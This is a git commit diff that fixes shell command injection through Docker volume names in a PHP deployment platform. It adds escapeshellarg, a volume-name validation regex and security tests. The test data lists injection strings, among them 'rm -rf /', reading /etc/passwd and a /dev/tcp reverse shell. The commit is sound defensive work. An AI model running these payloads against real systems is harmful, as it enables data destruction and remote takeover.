fix(storage): use escapeshellarg for volume names in shell commands (#9185)

This commit is contained in:
Andras Bacsai 2026-03-26 13:08:10 +01:00 committed by GitHub
commit c8efbf107a
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
17 changed files with 158 additions and 19 deletions

View file

@ -33,7 +33,7 @@ public function handle(Service $service, bool $deleteVolumes, bool $deleteConnec
}
}
foreach ($storagesToDelete as $storage) {
$commands[] = "docker volume rm -f $storage->name";
$commands[] = 'docker volume rm -f '.escapeshellarg($storage->name);
}
// Execute volume deletion first, this must be done first otherwise volumes will not be deleted.

View file

@ -20,6 +20,7 @@
use App\Rules\ValidGitBranch;
use App\Rules\ValidGitRepositoryUrl;
use App\Services\DockerImageParser;
use App\Support\ValidationPatterns;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Http;
@ -4096,7 +4097,7 @@ public function update_storage(Request $request): JsonResponse
'id' => 'integer',
'type' => 'required|string|in:persistent,file',
'is_preview_suffix_enabled' => 'boolean',
'name' => 'string',
'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN],
'mount_path' => 'string',
'host_path' => 'string|nullable',
'content' => 'string|nullable',
@ -4274,7 +4275,7 @@ public function create_storage(Request $request): JsonResponse
$validator = customApiValidator($request->all(), [
'type' => 'required|string|in:persistent,file',
'name' => 'string',
'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN],
'mount_path' => 'required|string',
'host_path' => 'string|nullable',
'content' => 'string|nullable',

View file

@ -19,6 +19,7 @@
use App\Models\ScheduledDatabaseBackup;
use App\Models\Server;
use App\Models\StandalonePostgresql;
use App\Support\ValidationPatterns;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
@ -3467,7 +3468,7 @@ public function create_storage(Request $request): JsonResponse
$validator = customApiValidator($request->all(), [
'type' => 'required|string|in:persistent,file',
'name' => 'string',
'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN],
'mount_path' => 'required|string',
'host_path' => 'string|nullable',
'content' => 'string|nullable',
@ -3665,7 +3666,7 @@ public function update_storage(Request $request): JsonResponse
'id' => 'integer',
'type' => 'required|string|in:persistent,file',
'is_preview_suffix_enabled' => 'boolean',
'name' => 'string',
'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN],
'mount_path' => 'string',
'host_path' => 'string|nullable',
'content' => 'string|nullable',

View file

@ -13,6 +13,7 @@
use App\Models\Project;
use App\Models\Server;
use App\Models\Service;
use App\Support\ValidationPatterns;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Validator;
@ -2015,7 +2016,7 @@ public function create_storage(Request $request): JsonResponse
$validator = customApiValidator($request->all(), [
'type' => 'required|string|in:persistent,file',
'resource_uuid' => 'required|string',
'name' => 'string',
'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN],
'mount_path' => 'required|string',
'host_path' => 'string|nullable',
'content' => 'string|nullable',
@ -2224,7 +2225,7 @@ public function update_storage(Request $request): JsonResponse
'id' => 'integer',
'type' => 'required|string|in:persistent,file',
'is_preview_suffix_enabled' => 'boolean',
'name' => 'string',
'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN],
'mount_path' => 'string',
'host_path' => 'string|nullable',
'content' => 'string|nullable',

View file

@ -5,6 +5,7 @@
use App\Models\Application;
use App\Models\LocalFileVolume;
use App\Models\LocalPersistentVolume;
use App\Support\ValidationPatterns;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Livewire\Component;
@ -103,10 +104,10 @@ public function submitPersistentVolume()
$this->authorize('update', $this->resource);
$this->validate([
'name' => 'required|string',
'name' => ValidationPatterns::volumeNameRules(),
'mount_path' => 'required|string',
'host_path' => $this->isSwarm ? 'required|string' : 'string|nullable',
]);
], ValidationPatterns::volumeNameMessages());
$name = $this->resource->uuid.'-'.$this->name;

View file

@ -390,7 +390,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
}

View file

@ -37,7 +37,7 @@ protected static function booted()
$persistentStorages = $preview->persistentStorages()->get() ?? collect();
if ($persistentStorages->count() > 0) {
foreach ($persistentStorages as $storage) {
instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
}

View file

@ -135,7 +135,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}

View file

@ -135,7 +135,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}

View file

@ -135,7 +135,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}

View file

@ -136,7 +136,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}

View file

@ -141,7 +141,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}

View file

@ -136,7 +136,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}

View file

@ -114,7 +114,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}

View file

@ -140,7 +140,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}

View file

@ -45,6 +45,13 @@ class ValidationPatterns
*/
public const SHELL_SAFE_COMMAND_PATTERN = '/^[a-zA-Z0-9 \t._\-\/=:@,+\[\]{}#%^~&"]+$/';
/**
* Pattern for Docker volume names
* Must start with alphanumeric, followed by alphanumeric, dots, hyphens, or underscores
* Matches Docker's volume naming rules
*/
public const VOLUME_NAME_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/';
/**
* Pattern for Docker container names
* Must start with alphanumeric, followed by alphanumeric, dots, hyphens, or underscores
@ -157,6 +164,36 @@ public static function shellSafeCommandRules(int $maxLength = 1000): array
return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::SHELL_SAFE_COMMAND_PATTERN];
}
/**
* Get validation rules for Docker volume name fields
*/
public static function volumeNameRules(bool $required = true, int $maxLength = 255): array
{
$rules = [];
if ($required) {
$rules[] = 'required';
} else {
$rules[] = 'nullable';
}
$rules[] = 'string';
$rules[] = "max:$maxLength";
$rules[] = 'regex:'.self::VOLUME_NAME_PATTERN;
return $rules;
}
/**
* Get validation messages for volume name fields
*/
public static function volumeNameMessages(string $field = 'name'): array
{
return [
"{$field}.regex" => 'The volume name must start with an alphanumeric character and contain only alphanumeric characters, dots, hyphens, and underscores.',
];
}
/**
* Get validation rules for container name fields
*/

View file

@ -0,0 +1,98 @@
<?php
/**
* Persistent Volume Security Tests
*
* Tests to ensure persistent volume names are validated against command injection
* and that shell commands properly escape volume names.
*
* Related Advisory: GHSA-mh8x-fppq-cp77
* Related Files:
* - app/Models/LocalPersistentVolume.php
* - app/Support/ValidationPatterns.php
* - app/Livewire/Project/Service/Storage.php
* - app/Actions/Service/DeleteService.php
*/
use App\Support\ValidationPatterns;
// --- Volume Name Pattern Tests ---
it('accepts valid Docker volume names', function (string $name) {
expect(preg_match(ValidationPatterns::VOLUME_NAME_PATTERN, $name))->toBe(1);
})->with([
'simple name' => 'myvolume',
'with hyphens' => 'my-volume',
'with underscores' => 'my_volume',
'with dots' => 'my.volume',
'with uuid prefix' => 'abc123-postgres-data',
'numeric start' => '1volume',
'complex name' => 'app123-my_service.data-v2',
]);
it('rejects volume names with shell metacharacters', function (string $name) {
expect(preg_match(ValidationPatterns::VOLUME_NAME_PATTERN, $name))->toBe(0);
})->with([
'semicolon injection' => 'vol; rm -rf /',
'pipe injection' => 'vol | cat /etc/passwd',
'ampersand injection' => 'vol && whoami',
'backtick injection' => 'vol`id`',
'dollar command substitution' => 'vol$(whoami)',
'redirect injection' => 'vol > /tmp/evil',
'space in name' => 'my volume',
'slash in name' => 'my/volume',
'newline injection' => "vol\nwhoami",
'starts with hyphen' => '-volume',
'starts with dot' => '.volume',
]);
// --- escapeshellarg Defense Tests ---
it('escapeshellarg neutralizes injection in docker volume rm command', function (string $maliciousName) {
$command = 'docker volume rm -f '.escapeshellarg($maliciousName);
// The command should contain the name as a single quoted argument,
// preventing shell interpretation of metacharacters
expect($command)->not->toContain('; ')
->not->toContain('| ')
->not->toContain('&& ')
->not->toContain('`')
->toStartWith('docker volume rm -f ');
})->with([
'semicolon' => 'vol; rm -rf /',
'pipe' => 'vol | cat /etc/passwd',
'ampersand' => 'vol && whoami',
'backtick' => 'vol`id`',
'command substitution' => 'vol$(whoami)',
'reverse shell' => 'vol$(bash -i >& /dev/tcp/10.0.0.1/8888 0>&1)',
]);
// --- volumeNameRules Tests ---
it('generates volumeNameRules with correct defaults', function () {
$rules = ValidationPatterns::volumeNameRules();
expect($rules)->toContain('required')
->toContain('string')
->toContain('max:255')
->toContain('regex:'.ValidationPatterns::VOLUME_NAME_PATTERN);
});
it('generates nullable volumeNameRules when not required', function () {
$rules = ValidationPatterns::volumeNameRules(required: false);
expect($rules)->toContain('nullable')
->not->toContain('required');
});
it('generates correct volumeNameMessages', function () {
$messages = ValidationPatterns::volumeNameMessages();
expect($messages)->toHaveKey('name.regex');
});
it('generates volumeNameMessages with custom field name', function () {
$messages = ValidationPatterns::volumeNameMessages('volume_name');
expect($messages)->toHaveKey('volume_name.regex');
});